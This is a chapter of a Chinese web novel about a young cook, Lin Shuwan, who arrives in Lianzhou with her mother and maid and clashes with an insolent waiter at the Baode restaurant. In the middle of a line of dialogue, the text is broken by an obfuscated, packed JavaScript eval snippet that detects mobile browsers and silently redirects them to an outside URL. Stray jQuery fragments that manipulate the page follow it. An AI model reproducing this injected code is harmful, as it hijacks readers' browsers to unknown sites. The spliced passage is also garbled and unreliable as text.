5.宝德楼

作品:《岭南小厨娘

    次日清晨,窗外传来鸡鸣声,林书晚睁开眼睛,瞧着身侧还在睡着姜婉同青芜,轻手轻脚起身,从行囊中翻出木齿与牙粉,推门往往水井旁走去。


    天色阴沉,瞧着似要下雨,她加快手中动作,梳洗之后,瞧着屋中两人还在睡,便小心翼翼提起跟前的碳炉,又取出行囊中剩余的面粉,鸡蛋往院子中去了,生起火煮了一锅开水,手脚麻利地将面粉倒入盆中,同敲入的鸡蛋一同搅和均匀后。


    林书晚挽起袖子,露出一段莹白的胳膊,揉着盆中的面粉,大约过了一盏茶的功夫,盆中的面团变得光滑柔韧,就在她将面团搓成长条之际,姜婉打着哈欠推门而出。


    “晚娘怎起的这般早?”她取过石桌上的木齿就着井水洗漱,轻声问道。


    “睡不着便起来做朝食了,阿娘今日朝食便吃鸡蛋面吧。”林书晚手下动作不停,一拉一扯下,细长的面条便出现在她指尖,其实今日吃鸡蛋面还有一个原因,只因手头的食材只余下这些。


    今日她打算去过舅舅家之后,便去采买些食材,再买上些日用品,顺便瞧瞧这廉州城摆摊的小贩大多卖那些吃食。


    “你做的吃食,阿娘都爱吃。”大约是今日要去见许久未见的阿娘同弟弟,姜婉难得挽了一个同心髻,簪上一枝素银簪子,取出自己从林府带出的衣裙,虽消瘦了些,但好歹还能撑起那身衣裙,瞧着倒是比先前气色好了许多,这也得益于,路上三个月,林书晚一日三餐,餐餐不落的做吃食。


    待到细长的面条成型,屋外传来一声犬叫,片刻之后,整个巷子响起此起彼伏的犬叫声,总算是将还在酣睡中的青芜唤醒,她推开门,一眼瞧见自家夫人在水井边洗些锅碗瓢盆,心中一惊,都来不及洗漱,就飞扑到姜婉身旁,焦急道:“妇人快放下,我来洗。”


    “阿芜,我记得在船上便同你说过,往后我们不再以主仆相称,你同晚娘一样都是我的女儿,快些去洗漱,洗漱好便能吃朝食了。”姜婉侧身躲开青芜的手,瞧了眼她杂乱的头发,催促她快些去洗漱。


    闻言,青芜维持伸手的姿势愣在原地,不过片刻,她红了眼眶。


    “阿娘说的对,你自幼同我一起长大,与姐妹也无甚分别,好了如今身契已归于你手,往后莫要再以奴才相称,唤我姐姐便好。”林书晚对上她红的像兔子似的眼睛,弯眉一笑,“快些洗漱。”


    “嗯。”青芜鼻头酸涩,低下头藏住滑落的泪珠,她自幼死了爹娘,被人卖入花楼,偷跑时被林书晚救下,从那之后,她便再没挨过饿,受过冻,娘子同夫人待她极好,日后自己要更加尽心才是。


    青芜抬手擦去眼角的泪水,抬头扬起笑脸,嗅着空气中煎蛋的香味,凑到林书晚身旁,探头往锅中张望,小巧的铁锅中卧着一颗金灿灿的鸡蛋,“阿姐,这鸡蛋煎得真漂亮。”


    “那是自然,也不瞧瞧你阿姐是谁。”林书晚嘴角扬起,手中锅铲一抖那颗鸡蛋便翻了个身,焦香四溢。


    瞧着她们两人的模样,不远处的姜婉下意识露出一抹笑意,一时间姜家的破宅中和乐融融,三人围坐在桌前,汤面中的鸡蛋吸满汤汁,外缘微脆内里绵软,一口咬破溏心顺着缺口流出,包裹着柔韧弹牙的面条,虽简简单单,却令人十分满足。


    简单吃过朝食后,三人便提着昨日在钦州买的布匹出门了,灰鲸巷虽不算偏远,但距离长安街还有一段距离,原本林书晚想着一路走一路逛着过去,自己正好瞧瞧廉州城摆摊的商贩都卖些什么吃食,正好给自己日后摆摊攒些经验,可她瞧着才出门就有些紧张的姜婉,心知今日她若未寻到外婆与舅舅,恐怕是没心思逛集市的,便歇了心思。


    直到行至城中,此处距离长安街不远,一座六层高的酒楼坐落在城中,林书晚抬头看去,牌匾上写的正是昨日邻居娘子提及的宝德楼,她心念一动,拉住门前迎来送往的小二,“小哥,劳烦同您打听一下,酒楼管事的小姐家住何处?”


    闻言,小二上下打量了林书晚一眼,瞧着她衣着朴素的模样,眉尖一挑从肩膀取下搭布,像赶苍蝇似的甩了几下,冲着她道:“瞧你这穷酸样,滚开别耽误小爷我做生意。”


    “你这人怎么同我家阿姐说话?”青芜大怒,撸起袖子就要同那小二理论。


    话音一落,小二带着嫌弃的视线,上下打量着眼前的三位女子,却见几人衣着朴素,便知这几人无钱无势,当下瞪着眸子指着青芜的鼻子骂道:“难不成我说的不对,也不晓得从哪里来的穷鬼上来就问我家娘子的住所,莫不是听说我家娘子心善,想去讨些银钱。”


    此言一出,莫说青芜,连林书晚都变了脸色,她沉默片刻,松开拽着青芜的手,“郎君这话实在难听了些,我与阿娘上门不过是听闻我舅舅姜勇,同你家娘子喜结连理,这才想上门拜访,而你这态度难不成宝德楼的小二都这般模样么?”


    话音一落,周边围观的人群,噪杂声四起。


    “这小娘子说的不错,前些日子我不过穿的素净了些,就这人鼻子朝天,瞧都不瞧我一眼。”


    “对,晓得的知道他是宝德楼的小二,不晓得的还以为他是宝德楼的老板呢,当真是笑话,一个小二还敢对来往的宾客评头论足了。”


    ……


    声音愈来愈响,小二恼羞成怒,抬手抓起身侧的茶杯就要砸向林书晚,却被时刻盯着他的青芜,冲上前去,劈手夺下他手中的茶杯,抬手就给了他两巴掌,怒道:“你是什么东西,也敢羞辱我阿娘同阿姐。”


    被扇了巴掌的小二,自是不肯罢休,眼睛瞪得滚圆,反手就要扇上青芜,谁知那丫头仗着自己身形瘦小,一个矮身从小二腋下穿过,飞快跑回林书晚身旁。


    仰着脸,笑着同林书晚道:


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15191575|165248||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “阿姐,这酒楼的小二这般不知礼数,想来也是问不出舅舅的消息了,不如我们去牙行,那处的消息比较灵通。”


    方才闹了这么一通,宝德楼外头围了不少人,方才瞧着青芜动手,倒是又不少人叫好,想来这小二是积了民怨,闹了这么许久,脚步匆匆,一身着竹青色交领襕衫,腰间革带悬一枚青玉镂雕香囊,坠着黛色流苏的男子从屋内走出。


    那小二才见此人,便捂着脸冲他哭诉,“郎君,今日那小娘子无故打探孙娘子的住址,奴自是不愿不相干的人去打搅娘子的清净,便回绝了,谁料那小娘子身旁跟着的丫头上来就扇了奴两巴掌,郎君可要替奴做主。”


    恶人先告状,当真是开了眼了,林书晚面色微沉,冷笑一声,指着周边围观的路人,冲那小二开口,“小二哥,莫不是觉着这些郎君娘子皆是耳聋眼瞎之人,青天白日的就颠倒是非?”


    “是啊,分明是他先侮辱人家小娘子,如今还敢倒打一耙。”


    “今日真是长见识了,平日里都说什么长舌妇,要我看来男子搬弄是非,比女子还要厉害些。”


    嘈杂声四起,方才出来的郎君狠狠瞪了小二一眼,冲着众人一拱手,“诸位实在抱歉,是在下御下不严,才出此差错,颜某在此请诸位见证,此人今日便不再是宝德楼的小二。”


    闻言,小二面露惊慌,飞快跪在地上,“求郎君饶奴一次,日后奴再也不敢了。”


    “还不将他拖下去。”颜郎君眉头皱起,瞥了小二一眼,绕过此人行至林书晚跟前,又一拱手,“小娘子实在抱歉,只是某可否问问您为何要打听孙娘子的住所?”


    哭嚎声阵阵,小二心知回天无力,低头垂眸藏住眼底的恨意。


    林书晚抬头瞧着颜郎君,只见此人面带笑意,似是春风和煦,心中暗道一声笑面虎,她抬手抹了把眼角,面露悲泣,“郎君有所不知,奴家同阿娘从京中来此探亲,才寻到祖宅,谁知早已空无一人,同邻居打听了才知舅舅同孙家娘子喜结连理,奴家废了一番功夫才晓得这孙家娘子竟是宝德楼管事之女,家住长安街,却不晓得具体是哪户人家。


    一路上奴家听闻宝德楼的管事是位大善人,奴家便想着来问问,谁料才开口便被那人辱骂,骂我倒也罢了,竟将我阿娘也骂上了。”


    抬眸间,眼眶通红,原身原本就有一副好颜色,如今这垂泪欲滴的模样,更是令人怜惜。


    颜郎君瞧着周边围着越来越多的人,心中暗骂,脸上却维持着笑意,同林书晚打着太极,“原来如此,既小娘子说姜郎君是你舅舅,那我便让人将他请来如何?”


    “那自然再好不过了。”


    “那还请小娘子同夫人随某一同去酒楼中稍待片刻。”听着林书晚应下,颜郎君笑着将人迎入宝德楼,随后扭头同身侧的下属开口,“快去把姜郎君请来。”